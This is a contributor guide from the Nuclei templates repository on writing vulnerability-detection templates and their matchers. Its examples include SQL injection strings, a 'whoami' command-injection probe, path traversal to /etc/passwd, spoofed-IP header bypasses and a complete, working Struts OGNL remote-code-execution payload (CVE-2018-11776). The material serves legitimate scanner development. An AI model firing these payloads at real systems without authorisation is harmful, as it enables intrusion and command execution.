Files
nuclei-templates/TEMPLATE-CREATION-GUIDE.md
Sandeep Singh 226d8f0006 Add comprehensive template creation and review guides (#12935)
- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework
- TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples

Both guides include:
- Vulnerability-specific matcher examples
- False positive prevention techniques
- Quality standards and best practices
- Official documentation references
- Community support channels
2025-08-25 19:11:47 +05:30

524 lines
15 KiB
Markdown

# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email templates@projectdiscovery.io
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*